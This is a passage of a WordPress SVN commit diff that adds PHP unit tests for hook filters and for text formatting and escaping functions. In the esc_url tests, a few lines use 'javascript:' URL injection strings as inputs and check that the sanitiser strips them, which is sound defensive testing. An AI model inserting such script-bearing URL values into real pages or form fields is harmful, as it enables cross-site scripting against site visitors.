+       // one tag with multiple filters
+       function test_multiple_filters() {
+               $a1 = new MockAction();
+               $a2 = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+
+               // add both filters to the hook
+               add_filter($tag, array(&$a1, 'filter'));
+               add_filter($tag, array(&$a2, 'filter'));
+
+               $this->assertEquals($val, apply_filters($tag, $val));
+
+               // both filters called once each
+               $this->assertEquals(1, $a1->get_call_count());
+               $this->assertEquals(1, $a2->get_call_count());
+       }
+
+       function test_filter_args_1() {
+               $a = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+               $arg1 = rand_str();
+
+               add_filter($tag, array(&$a, 'filter'), 10, 2);
+               // call the filter with a single argument
+               $this->assertEquals($val, apply_filters($tag, $val, $arg1));
+
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($val, $arg1), array_pop($a->get_args()));
+       }
+
+       function test_filter_args_2() {
+               $a1 = new MockAction();
+               $a2 = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+               $arg1 = rand_str();
+               $arg2 = rand_str();
+
+               // a1 accepts two arguments, a2 doesn't
+               add_filter($tag, array(&$a1, 'filter'), 10, 3);
+               add_filter($tag, array(&$a2, 'filter'));
+               // call the filter with two arguments
+               $this->assertEquals($val, apply_filters($tag, $val, $arg1, $arg2));
+
+               // a1 should be called with both args
+               $this->assertEquals(1, $a1->get_call_count());
+               $this->assertEquals(array($val, $arg1, $arg2), array_pop($a1->get_args()));
+
+               // a2 should be called with one only
+               $this->assertEquals(1, $a2->get_call_count());
+               $this->assertEquals(array($val), array_pop($a2->get_args()));
+       }
+
+       function test_filter_priority() {
+               $a = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+
+               // make two filters with different priorities
+               add_filter($tag, array(&$a, 'filter'), 10);
+               add_filter($tag, array(&$a, 'filter2'), 9);
+               $this->assertEquals($val, apply_filters($tag, $val));
+
+               // there should be two events, one per filter
+               $this->assertEquals(2, $a->get_call_count());
+
+               $expected = array (
+                       // filter2 is called first because it has priority 9
+                       array (
+                               'filter' => 'filter2',
+                               'tag' => $tag,
+                               'args' => array($val)
+                       ),
+                       // filter 1 is called second
+                       array (
+                               'filter' => 'filter',
+                               'tag' => $tag,
+                               'args' => array($val)
+                       ),
+               );
+
+               $this->assertEquals($expected, $a->get_events());
+       }
+
+       function test_all_filter() {
+               $a = new MockAction();
+               $tag1 = rand_str();
+               $tag2 = rand_str();
+               $val = rand_str();
+
+               // add an 'all' filter
+               add_filter('all', array(&$a, 'filterall'));
+               // do some filters
+               $this->assertEquals($val, apply_filters($tag1, $val));
+               $this->assertEquals($val, apply_filters($tag2, $val));
+               $this->assertEquals($val, apply_filters($tag1, $val));
+               $this->assertEquals($val, apply_filters($tag1, $val));
+
+               // our filter should have been called once for each apply_filters call
+               $this->assertEquals(4, $a->get_call_count());
+               // the right hooks should have been called in order
+               $this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+               remove_filter('all', array(&$a, 'filterall'));
+               $this->assertFalse( has_filter('all', array(&$a, 'filterall')) );
+
+       }
+
+       function test_remove_all_filter() {
+               $a = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+
+               add_filter('all', array(&$a, 'filterall'));
+               $this->assertTrue( has_filter('all') );
+               $this->assertEquals( 10, has_filter('all', array(&$a, 'filterall')) );
+               $this->assertEquals($val, apply_filters($tag, $val));
+
+               // make sure our hook was called correctly
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+
+               // now remove the filter, do it again, and make sure it's not called this time
+               remove_filter('all', array(&$a, 'filterall'));
+               $this->assertFalse( has_filter('all', array(&$a, 'filterall')) );
+               $this->assertFalse( has_filter('all') );
+               $this->assertEquals($val, apply_filters($tag, $val));
+               // call cound should remain at 1
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+       }
+
+       /**
+        * @ticket 9886
+        */
+       function test_filter_ref_array() {
+               $obj = new stdClass();
+               $a = new MockAction();
+               $tag = rand_str();
+
+               add_action($tag, array(&$a, 'filter'));
+
+               apply_filters_ref_array($tag, array(&$obj));
+
+               $args = $a->get_args();
+               $this->assertSame($args[0][0], $obj);
+               // just in case we don't trust assertSame
+               $obj->foo = true;
+               $this->assertFalse( empty($args[0][0]->foo) );
+       }
+
+       /**
+        * @ticket 12723
+        */
+       function test_filter_ref_array_result() {
+               $obj = new stdClass();
+               $a = new MockAction();
+               $b = new MockAction();
+               $tag = rand_str();
+
+               add_action($tag, array(&$a, 'filter_append'), 10, 2);
+               add_action($tag, array(&$b, 'filter_append'), 10, 2);
+
+               $result = apply_filters_ref_array($tag, array('string', &$obj));
+
+               $this->assertEquals($result, 'string_append_append');
+
+               $args = $a->get_args();
+               $this->assertSame($args[0][1], $obj);
+               // just in case we don't trust assertSame
+               $obj->foo = true;
+               $this->assertFalse( empty($args[0][1]->foo) );
+
+               $args = $b->get_args();
+               $this->assertSame($args[0][1], $obj);
+               // just in case we don't trust assertSame
+               $obj->foo = true;
+               $this->assertFalse( empty($args[0][1]->foo) );
+
+       }
+
+       function _self_removal($tag) {
+               remove_action( $tag, array(&$this, '_self_removal'), 10, 1 );
+               return $tag;
+       }
+
+        /**
+         * @ticket 21169
+         */
+       function test_filter_removal_during_filter() {
+               $tag = rand_str();
+               $a = new MockAction();
+               $b = new MockAction();
+
+               add_action( $tag, array(&$a, 'filter_append'), 11, 1 );
+               add_action( $tag, array(&$b, 'filter_append'), 12, 1 );
+               add_action( $tag, array(&$this, '_self_removal'), 10, 1 );
+
+               $result = apply_filters($tag, $tag);
+               $this->assertEquals( 1, $a->get_call_count(), 'priority 11 filters should run after priority 10 empties itself' );
+               $this->assertEquals( 1, $b->get_call_count(), 'priority 12 filters should run after priority 10 empties itself and priority 11 runs' );
+               $this->assertEquals( $result, $tag . '_append_append', 'priority 11 and 12 filters should run after priority 10 empties itself' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingAutopphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/Autop.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/Autop.php                           (rev 0)
+++ trunk/tests/tests/formatting/Autop.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,101 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Autop extends WP_UnitTestCase {
+       //From ticket http://core.trac.wordpress.org/ticket/11008
+       function test_first_post() {
+               $expected = '<p>Welcome to WordPress!  This post contains important information.  After you read it, you can make it private to hide it from visitors but still have the information handy for future reference.</p>
+<p>First things first:</p>
+<ul>
+<li><a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Subscribe to the WordPress mailing list for release notifications</a></li>
+</ul>
+<p>As a subscriber, you will receive an email every time an update is available (and only then).  This will make it easier to keep your site up to date, and secure from evildoers.<br />
+When a new version is released, <a href="%2$s" title="If you are already logged in, this will take you directly to the Dashboard">log in to the Dashboard</a> and follow the instructions.<br />
+Upgrading is a couple of clicks!</p>
+<p>Then you can start enjoying the WordPress experience:</p>
+<ul>
+<li>Edit your personal information at <a href="%3$s" title="Edit settings like your password, your display name and your contact information">Users &#8250; Your Profile</a></li>
+<li>Start publishing at <a href="%4$s" title="Create a new post">Posts &#8250; Add New</a> and at <a href="%5$s" title="Create a new page">Pages &#8250; Add New</a></li>
+<li>Browse and install plugins at <a href="%6$s" title="Browse and install plugins at the official WordPress repository directly from your Dashboard">Plugins &#8250; Add New</a></li>
+<li>Browse and install themes at <a href="%7$s" title="Browse and install themes at the official WordPress repository directly from your Dashboard">Appearance &#8250; Add New Themes</a></li>
+<li>Modify and prettify your website&#8217;s links at <a href="%8$s" title="For example, select a link structure like: http://example.com/1999/12/post-name">Settings &#8250; Permalinks</a></li>
+<li>Import content from another system or WordPress site at <a href="%9$s" title="WordPress comes with importers for the most common publishing systems">Tools &#8250; Import</a></li>
+<li>Find answers to your questions at the <a href="%10$s" title="The official WordPress documentation, maintained by the WordPress community">WordPress Codex</a></li>
+</ul>
+<p>To keep this post for reference, <a href="%11$s" title="Click to edit the content and settings of this post">click to edit it</a>, go to the Publish box and change its Visibility from Public to Private.</p>
+<p>Thank you for selecting WordPress.  We wish you happy publishing!</p>
+<p>PS.  Not yet subscribed for update notifications?  <a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Do it now!</a></p>
+';
+               $test_data = '
+Welcome to WordPress!  This post contains important information.  After you read it, you can make it private to hide it from visitors but still have the information handy for future reference.
+
+First things first:
+<ul>
+<li><a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Subscribe to the WordPress mailing list for release notifications</a></li>
+</ul>
+As a subscriber, you will receive an email every time an update is available (and only then).  This will make it easier to keep your site up to date, and secure from evildoers.
+When a new version is released, <a href="%2$s" title="If you are already logged in, this will take you directly to the Dashboard">log in to the Dashboard</a> and follow the instructions.
+Upgrading is a couple of clicks!
+
+Then you can start enjoying the WordPress experience:
+<ul>
+<li>Edit your personal information at <a href="%3$s" title="Edit settings like your password, your display name and your contact information">Users &#8250; Your Profile</a></li>
+<li>Start publishing at <a href="%4$s" title="Create a new post">Posts &#8250; Add New</a> and at <a href="%5$s" title="Create a new page">Pages &#8250; Add New</a></li>
+<li>Browse and install plugins at <a href="%6$s" title="Browse and install plugins at the official WordPress repository directly from your Dashboard">Plugins &#8250; Add New</a></li>
+<li>Browse and install themes at <a href="%7$s" title="Browse and install themes at the official WordPress repository directly from your Dashboard">Appearance &#8250; Add New Themes</a></li>
+<li>Modify and prettify your website&#8217;s links at <a href="%8$s" title="For example, select a link structure like: http://example.com/1999/12/post-name">Settings &#8250; Permalinks</a></li>
+<li>Import content from another system or WordPress site at <a href="%9$s" title="WordPress comes with importers for the most common publishing systems">Tools &#8250; Import</a></li>
+<li>Find answers to your questions at the <a href="%10$s" title="The official WordPress documentation, maintained by the WordPress community">WordPress Codex</a></li>
+</ul>
+To keep this post for reference, <a href="%11$s" title="Click to edit the content and settings of this post">click to edit it</a>, go to the Publish box and change its Visibility from Public to Private.
+
+Thank you for selecting WordPress.  We wish you happy publishing!
+
+PS.  Not yet subscribed for update notifications?  <a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Do it now!</a>
+';
+
+               // On windows environments, the EOL-style is \r\n
+               $expected = str_replace( "\r\n", "\n", $expected);
+
+               $this->assertEquals($expected, wpautop($test_data));
+       }
+
+       /**
+        * wpautop() Should not alter the contents of "<pre>" elements
+        *
+        * @ticket 19855
+        */
+       public function test_skip_pre_elements() {
+               $code = file_get_contents( DIR_TESTDATA . '/formatting/sizzle.js' );
+               $code = str_replace( "\r", '', $code );
+               $code = htmlentities( $code );
+
+               // Not wrapped in <p> tags
+               $str = "<pre>$code</pre>";
+               $this->assertEquals( $str, trim( wpautop( $str ) ) );
+
+               // Text before/after is wrapped in <p> tags
+               $str = "Look at this code\n\n<pre>$code</pre>\n\nIsn't that cool?";
+
+               // Expected text after wpautop
+               $expected = '<p>Look at this code</p>' . "\n<pre>" . $code . "</pre>\n" . '<p>Isn\'t that cool?</p>';
+               $this->assertEquals( $expected, trim( wpautop( $str ) ) );
+
+               // Make sure HTML breaks are maintained if manually inserted
+               $str = "Look at this code\n\n<pre>Line1<br />Line2<br>Line3<br/>Line4\nActual Line 2\nActual Line 3</pre>\n\nCool, huh?";
+               $expected = "<p>Look at this code</p>\n<pre>Line1<br />Line2<br>Line3<br/>Line4\nActual Line 2\nActual Line 3</pre>\n<p>Cool, huh?</p>";
+               $this->assertEquals( $expected, trim( wpautop( $str ) ) );
+       }
+
+       /**
+        * wpautop() Should not add <br/> to "<input>" elements
+        *
+        * @ticket 16456
+        */
+       public function test_skip_input_elements() {
+               $str = 'Username: <input type="text" id="username" name="username" /><br />Password: <input type="password" id="password1" name="password1" />';
+               $this->assertEquals( "<p>$str</p>", trim( wpautop( $str ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingCleanPrephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/CleanPre.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/CleanPre.php                                (rev 0)
+++ trunk/tests/tests/formatting/CleanPre.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,38 @@
</span><ins>+<?php
+
+/**
+ * The clean_pre() removes pararaph and line break
+ * tags within `<pre>` elements as part of wpautop().
+ *
+ * @group formatting
+ */
+class Tests_Formatting_CleanPre extends WP_UnitTestCase {
+       function test_removes_self_closing_br_with_space() {
+               $source = 'a b c\n<br />sldfj<br />';
+               $res = 'a b c\nsldfj';
+
+               $this->assertEquals($res, clean_pre($source));
+       }
+
+       function test_removes_self_closing_br_without_space() {
+               $source = 'a b c\n<br/>sldfj<br/>';
+               $res = 'a b c\nsldfj';
+               $this->assertEquals($res, clean_pre($source));
+       }
+
+       // I don't think this can ever happen in production;
+       // <br> is changed to <br /> elsewhere. Left in because
+       // that replacement shouldn't happen (what if you want
+       // HTML 4 output?).
+       function test_removes_html_br() {
+               $source = 'a b c\n<br>sldfj<br>';
+               $res = 'a b c\nsldfj';
+               $this->assertEquals($res, clean_pre($source));
+       }
+
+       function test_removes_p() {
+               $source = "<p>isn't this exciting!</p><p>oh indeed!</p>";
+               $res = "\nisn't this exciting!\noh indeed!";
+               $this->assertEquals($res, clean_pre($source));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingConvertCharsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/ConvertChars.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/ConvertChars.php                            (rev 0)
+++ trunk/tests/tests/formatting/ConvertChars.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,40 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_ConvertChars extends WP_UnitTestCase {
+       function test_replaces_windows1252_entities_with_unicode_ones() {
+               $input = "&#130;&#131;&#132;&#133;&#134;&#135;&#136;&#137;&#138;&#139;&#140;&#145;&#146;&#147;&#148;&#149;&#150;&#151;&#152;&#153;&#154;&#155;&#156;&#159;";
+               $output = "&#8218;&#402;&#8222;&#8230;&#8224;&#8225;&#710;&#8240;&#352;&#8249;&#338;&#8216;&#8217;&#8220;&#8221;&#8226;&#8211;&#8212;&#732;&#8482;&#353;&#8250;&#339;&#376;";
+               $this->assertEquals($output, convert_chars($input));
+       }
+
+       /**
+        * @ticket 20503
+        */
+       function test_replaces_latin_letter_z_with_caron() {
+               $input = "&#142;&#158;";
+               $output = "&#381;&#382;";
+               $this->assertEquals( $output, convert_chars( $input ) );
+       }
+
+       function test_converts_html_br_and_hr_to_the_xhtml_self_closing_variety() {
+               $inputs = array(
+                       "abc <br> lol <br />" => "abc <br /> lol <br />",
+                       "<br> ho ho <hr>"     => "<br /> ho ho <hr />",
+                       "<hr><br>"            => "<hr /><br />"
+                       );
+               foreach ($inputs as $input => $expected) {
+                       $this->assertEquals($expected, convert_chars($input));
+               }
+       }
+
+       function test_escapes_lone_ampersands() {
+               $this->assertEquals("at&#038;t", convert_chars("at&t"));
+       }
+
+       function test_removes_category_and_title_metadata_tags() {
+               $this->assertEquals("", convert_chars("<title><div class='lol'>abc</div></title><category>a</category>"));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingEscAttrphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/EscAttr.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/EscAttr.php                         (rev 0)
+++ trunk/tests/tests/formatting/EscAttr.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,32 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscAttr extends WP_UnitTestCase {
+       function test_esc_attr_quotes() {
+               $attr = '"double quotes"';
+               $this->assertEquals( '&quot;double quotes&quot;', esc_attr( $attr ) );
+
+               $attr = "'single quotes'";
+               $this->assertEquals( '&#039;single quotes&#039;', esc_attr( $attr ) );
+
+               $attr = "'mixed' " . '"quotes"';
+               $this->assertEquals( '&#039;mixed&#039; &quot;quotes&quot;', esc_attr( $attr ) );
+
+               // Handles double encoding?
+               $attr = '"double quotes"';
+               $this->assertEquals( '&quot;double quotes&quot;', esc_attr( esc_attr( $attr ) ) );
+
+               $attr = "'single quotes'";
+               $this->assertEquals( '&#039;single quotes&#039;', esc_attr( esc_attr( $attr ) ) );
+
+               $attr = "'mixed' " . '"quotes"';
+               $this->assertEquals( '&#039;mixed&#039; &quot;quotes&quot;', esc_attr( esc_attr( $attr ) ) );
+       }
+
+       function test_esc_attr_amp() {
+               $out = esc_attr( 'foo & bar &baz; &apos;' );
+               $this->assertEquals( "foo &amp; bar &amp;baz; &apos;", $out );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingEscHtmlphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/EscHtml.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/EscHtml.php                         (rev 0)
+++ trunk/tests/tests/formatting/EscHtml.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,40 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscHtml extends WP_UnitTestCase {
+       function test_esc_html_basics() {
+               // Simple string
+               $html = "The quick brown fox.";
+               $this->assertEquals( $html, esc_html( $html ) );
+
+               // URL with &
+               $html = "http://localhost/trunk/wp-login.php?action=logout&_wpnonce=cd57d75985";
+               $escaped = "http://localhost/trunk/wp-login.php?action=logout&amp;_wpnonce=cd57d75985";
+               $this->assertEquals( $escaped, esc_html( $html ) );
+
+               // SQL query
+               $html = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN ('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled') AND site_id = 1";
+               $escaped = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN (&#039;site_name&#039;, &#039;siteurl&#039;, &#039;active_sitewide_plugins&#039;, &#039;_site_transient_timeout_theme_roots&#039;, &#039;_site_transient_theme_roots&#039;, &#039;site_admins&#039;, &#039;can_compress_scripts&#039;, &#039;global_terms_enabled&#039;) AND site_id = 1";
+               $this->assertEquals( $escaped, esc_html( $html ) );
+       }
+
+       function test_escapes_ampersands() {
+               $source = "penn & teller & at&t";
+               $res = "penn &amp; teller &amp; at&amp;t";
+               $this->assertEquals( $res, esc_html($source) );
+       }
+
+       function test_escapes_greater_and_less_than() {
+               $source = "this > that < that <randomhtml />";
+               $res = "this &gt; that &lt; that &lt;randomhtml /&gt;";
+               $this->assertEquals( $res, esc_html($source) );
+       }
+
+       function test_ignores_existing_entities() {
+               $source = '&#038; &#x00A3; &#x22; &amp;';
+               $res = '&amp; &#xA3; &quot; &amp;';
+               $this->assertEquals( $res, esc_html($source) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingEscTextareaphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/EscTextarea.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/EscTextarea.php                             (rev 0)
+++ trunk/tests/tests/formatting/EscTextarea.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,36 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscTextarea extends WP_UnitTestCase {
+
+       function _charset_iso_8859_1() {
+               return 'iso-8859-1';
+       }
+
+       /*
+        * Only fails in PHP 5.4 onwards
+        * @ticket 23688
+        */
+       function test_esc_textarea_charset_iso_8859_1() {
+               add_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+               $iso8859_1 = 'Fran' .chr(135) .'ais';
+               $this->assertEquals( $iso8859_1, esc_textarea( $iso8859_1 ) );
+               remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) );
+       }
+
+       function _charset_utf_8() {
+               return 'UTF-8';
+       }
+
+       /*
+        * @ticket 23688
+        */
+       function test_esc_textarea_charset_utf_8() {
+               add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+               $utf8 = 'Fran' .chr(195) . chr(167) .'ais';
+               $this->assertEquals( $utf8, esc_textarea( $utf8 ) );
+               remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingEscUrlphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/EscUrl.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/EscUrl.php                          (rev 0)
+++ trunk/tests/tests/formatting/EscUrl.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,83 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_EscUrl extends WP_UnitTestCase {
+       function test_spaces() {
+               $this->assertEquals('http://example.com/MrWordPress', esc_url('http://example.com/Mr WordPress'));
+               $this->assertEquals('http://example.com/Mr%20WordPress', esc_url('http://example.com/Mr%20WordPress'));
+       }
+
+       function test_bad_characters() {
+               $this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0Ago'));
+               $this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0ago'));
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0Dgo'));
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0dgo'));
+               //Nesting Checks
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0ddgo'));
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0DDgo'));
+               $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAD'));
+               $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADA'));
+               $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAd'));
+               $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADa'));
+       }
+
+       function test_relative() {
+               $this->assertEquals('/example.php', esc_url('/example.php'));
+               $this->assertEquals('example.php', esc_url('example.php'));
+               $this->assertEquals('#fragment', esc_url('#fragment'));
+               $this->assertEquals('?foo=bar', esc_url('?foo=bar'));
+       }
+
+       function test_protocol() {
+               $this->assertEquals('http://example.com', esc_url('http://example.com'));
+               $this->assertEquals('', esc_url('nasty://example.com/'));
+       }
+
+       /**
+        * @ticket 23187
+        */
+       function test_protocol_case() {
+               $this->assertEquals('http://example.com', esc_url('HTTP://example.com'));
+               $this->assertEquals('http://example.com', esc_url('Http://example.com'));
+       }
+
+       function test_display_extras() {
+               $this->assertEquals('http://example.com/&#039;quoted&#039;', esc_url('http://example.com/\'quoted\''));
+               $this->assertEquals('http://example.com/\'quoted\'', esc_url('http://example.com/\'quoted\'',null,'notdisplay'));
+       }
+
+       function test_non_ascii() {
+               $this->assertEquals( 'http://example.org/баба', esc_url( 'http://example.org/баба' ) );
+               $this->assertEquals( 'http://баба.org/баба', esc_url( 'http://баба.org/баба' ) );
+               $this->assertEquals( 'http://müller.com/', esc_url( 'http://müller.com/' ) );
+       }
+
+       function test_feed() {
+               $this->assertEquals( '', esc_url( 'feed:javascript:alert(1)' ) );
+               $this->assertEquals( '', esc_url( 'feed:javascript:feed:alert(1)' ) );
+               $this->assertEquals( '', esc_url( 'feed:feed:javascript:alert(1)' ) );
+               $this->assertEquals( 'feed:feed:alert(1)', esc_url( 'feed:feed:alert(1)' ) );
+               $this->assertEquals( 'feed:http://wordpress.org/feed/', esc_url( 'feed:http://wordpress.org/feed/' ) );
+       }
+
+       /**
+        * @ticket 16859
+        */
+       function test_square_brackets() {
+               $this->assertEquals( 'http://example.com/?foo%5Bbar%5D=baz', esc_url( 'http://example.com/?foo[bar]=baz' ) );
+               $this->assertEquals( 'http://example.com/?baz=bar&#038;foo%5Bbar%5D=baz', esc_url( 'http://example.com/?baz=bar&foo[bar]=baz' ) );
+               //IPv6 addresses in urls - RFC2732
+               $this->assertEquals( 'http://[::FFFF::127.0.0.1]', esc_url( 'http://[::FFFF::127.0.0.1]' ) );
+               $this->assertEquals( 'http://[::127.0.0.1]', esc_url( 'http://[::127.0.0.1]' ) );
+               $this->assertEquals( 'http://[::DEAD:BEEF:DEAD:BEEF:DEAD:BEEF:DEAD:BEEF]', esc_url( 'http://[::DEAD:BEEF:DEAD:BEEF:DEAD:BEEF:DEAD:BEEF]' ) );
+       }
+
+       /**
+        * @ticket 21974
+        */
+       function test_protocol_relative_with_colon() {
+               $this->assertEquals( '//example.com/foo?foo=abc:def', esc_url( '//example.com/foo?foo=abc:def' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingHtmlExcerptphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/HtmlExcerpt.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/HtmlExcerpt.php                             (rev 0)
+++ trunk/tests/tests/formatting/HtmlExcerpt.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,19 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_HtmlExcerpt extends WP_UnitTestCase {
+       function test_simple() {
+               $this->assertEquals("Baba", wp_html_excerpt("Baba told me not to come", 4));
+       }
+       function test_html() {
+               $this->assertEquals("Baba", wp_html_excerpt("<a href='http://baba.net/'>Baba</a> told me not to come", 4));
+       }
+       function test_entities() {
+               $this->assertEquals("Baba", wp_html_excerpt("Baba &amp; Dyado", 8));
+               $this->assertEquals("Baba", wp_html_excerpt("Baba &#038; Dyado", 8));
+               $this->assertEquals("Baba &amp; D", wp_html_excerpt("Baba &amp; Dyado", 12));
+               $this->assertEquals("Baba &amp; Dyado", wp_html_excerpt("Baba &amp; Dyado", 100));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingIsEmailphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/IsEmail.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/IsEmail.php                         (rev 0)
+++ trunk/tests/tests/formatting/IsEmail.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,31 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_IsEmail extends WP_UnitTestCase {
+       function test_returns_true_if_given_a_valid_email_address() {
+               $data = array(
+                       "bob@example.com",
+                       "phil@example.info",
+                       "ace@204.32.222.14",
+                       "kevin@many.subdomains.make.a.happy.man.edu"
+                       );
+               foreach ( $data as $datum ) {
+                       $this->assertEquals( $datum, is_email($datum), $datum );
+               }
+       }
+
+       function test_returns_false_if_given_an_invalid_email_address() {
+               $data = array(
+                       "khaaaaaaaaaaaaaaan!",
+                       'http://bob.example.com/',
+                       "sif i'd give u it, spamer!1",
+                       "com.exampleNOSPAMbob",
+                       "bob@your mom"
+                       );
+               foreach ($data as $datum) {
+                       $this->assertFalse(is_email($datum), $datum);
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingJSEscapephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/JSEscape.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/JSEscape.php                                (rev 0)
+++ trunk/tests/tests/formatting/JSEscape.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,46 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_JSEscape extends WP_UnitTestCase {
+       function test_js_escape_simple() {
+               $out = esc_js('foo bar baz();');
+               $this->assertEquals('foo bar baz();', $out);
+       }
+
+       function test_js_escape_quotes() {
+               $out = esc_js('foo "bar" \'baz\'');
+               // does it make any sense to change " into &quot;?  Why not \"?
+               $this->assertEquals("foo &quot;bar&quot; \'baz\'", $out);
+       }
+
+       function test_js_escape_backslash() {
+               $bs = '\\';
+               $out = esc_js('foo '.$bs.'t bar '.$bs.$bs.' baz');
+               // \t becomes t - bug?
+               $this->assertEquals('foo t bar '.$bs.$bs.' baz', $out);
+       }
+
+       function test_js_escape_amp() {
+               $out = esc_js('foo & bar &baz; &apos;');
+               $this->assertEquals("foo &amp; bar &amp;baz; &apos;", $out);
+       }
+
+       function test_js_escape_quote_entity() {
+               $out = esc_js('foo &#x27; bar &#39; baz &#x26;');
+               $this->assertEquals("foo \\' bar \\' baz &amp;", $out);
+       }
+
+       function test_js_no_carriage_return() {
+               $out = esc_js("foo\rbar\nbaz\r");
+               // \r is stripped
+               $this->assertequals("foobar\\nbaz", $out);
+       }
+
+       function test_js_escape_rn() {
+               $out = esc_js("foo\r\nbar\nbaz\r\n");
+               // \r is stripped
+               $this->assertequals("foo\\nbar\\nbaz\\n", $out);
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingLikeEscapephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/LikeEscape.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/LikeEscape.php                              (rev 0)
